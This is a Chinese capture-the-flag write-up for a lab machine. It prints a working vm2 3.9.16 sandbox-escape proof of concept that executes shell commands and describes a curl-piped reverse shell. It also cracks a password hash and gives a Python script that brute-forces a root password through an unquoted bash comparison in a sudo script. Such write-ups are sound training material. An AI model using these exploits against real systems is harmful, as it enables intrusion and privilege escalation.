连接并检查稳定性

image-20231112150351605

信息收集

tcp端口扫描

image-20231112150942281

22 80 3000 8080开放,进行详细扫描

image-20231112151036438

udp扫描

image-20231112151112032

没有有用价值的内容

web网页尝试

首先我们需要在hosts文件中添加一行记录

image-20231112151738669

访问查看网页

image-20231112151837700

发现是个nodejs代码沙盒测试环境。点开about us页面

image-20231112151933539

我们发现是基于vm2的库搭建的沙盒,并且超链接给出了我们vm2的版本信息

image-20231112195849580

对于沙盒类的代码执行,我们很容易想到的是沙盒逃逸类的漏洞,我们可以去检索一下vm2相关的沙盒逃逸类的漏洞,以"vm2 sandbox escape vulnerability"类似的关键词在搜索引擎检索

image-20231112202206562

检索到一个漏洞,并且版本符合3.9.16。打开利用的pocSandbox Escape in [email protected] (github.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const {VM} = require("vm2");
const vm = new VM();

const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};

const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`

console.log(vm.run(code));

利用漏洞拿到反弹shell

我们找到这个漏洞后,先来尝试一下能否使用

image-20231112202424869

接下来我们要编写反弹shell利用,这里我尝试了直接利用bash -i,似乎没奏效,因此我们改变思路,利用curl web服务器内容后管道执行。首先要编写一个index.html文件,在里面编写成反弹shell的脚本

image-20231112202847512

接着使用python提供的简易web服务器,将这个内容放到我们的本地web服务器上

image-20231112202915654

编写远程执行的指令,并开启监听

image-20231112203149681

成功拿到shell。通过ifconfig可以验证得知,确实为目标靶机。

但是这个用户权限似乎非常受限,大部分目录都无法进入。既然是这个用户执行的web页面,也许可以到web页面的目录下面看看。

进入到/var/www/contact下,发现一个db文件,并且具有查看的权限,我们在里面找到了joshua用户的密码哈希

image-20231112203654417

直接使用jonh进行hash爆破

image-20231112204150191

得到密码为spongebob1,利用这个密码我们尝试进行ssh登录

image-20231112204313288

成功进入,并拿到userflag

image-20231112204356093

看看这个用户的sudo的权限有那些

image-20231112204731906

通过mysql-backup.sh拿到root权限

image-20231112205208018

这个是mysql-backup.sh,以下是chatgpt的代码解读

  1. 变量定义:

    • DB_USER="root": 定义数据库用户名为root
    • DB_PASS=$(/usr/bin/cat /root/.creds): 从/root/.creds文件中读取数据库密码,并将其存储在DB_PASS变量中。
  2. 密码确认:

    • read -s -p "Enter MySQL password for $DB_USER: " USER_PASS: 以安静模式(不显示输入)提示用户输入MySQL的密码,并将输入存储在USER_PASS变量中。
    • if [[ $DB_PASS == $USER_PASS ]]; then ... else ... fi: 检查用户输入的密码是否与存储的密码匹配。如果匹配,则继续执行脚本;如果不匹配,则显示错误消息并退出脚本。
  3. 创建备份目录:

    • BACKUP_DIR="/var/backups/mysql": 定义备份目录的路径。
    • /usr/bin/mkdir -p "$BACKUP_DIR": 创建备份目录,如果目录已经存在,则不会报错。
  4. 获取数据库列表并进行备份:

    • databases=$(/usr/bin/mysql -u "$DB_USER" ... -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)"): 运行MySQL命令来获取数据库列表,排除系统数据库。

    • for db in $databases; do … done

      : 对于获取的每个数据库,执行以下操作:

      • 打印正在备份的数据库名称。
      • 使用mysqldump命令备份数据库,并将输出压缩成.gz格式保存在指定的备份目录下。
  5. 完成备份后的操作:

    • 打印所有数据库备份成功的消息。
    • 更改备份目录的所有者为root用户和sys-adm组。
    • 设置备份目录的权限为774(用户和组具有读、写、执行权限,其他人有读权限)。
  6. 脚本结束:

    • 打印完成消息。

这里的脚本有一个不安全的点,在变量比较时未使用引号

shellharden/how_to_do_things_safely_in_bash.md at master · anordal/shellharden (github.com)

==的左边没有使用双引号的话,会让bash认为是在执行模式匹配,而不是字符串匹配。这将会导致可以利用 {valid_password_char}{*} 这样的模式进行匹配比较。对此我们可以使用脚本对该sh爆破。利用大佬编写的python脚本对其进行爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import string
import subprocess
all = list(string.ascii_letters + string.digits)
password = ""
found = False

while not found:
for character in all:
command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout

if "Password confirmed!" in output:
password += character
print(password)
break
else:
found = True

image-20231112205505385

拿到root权限

image-20231112205537978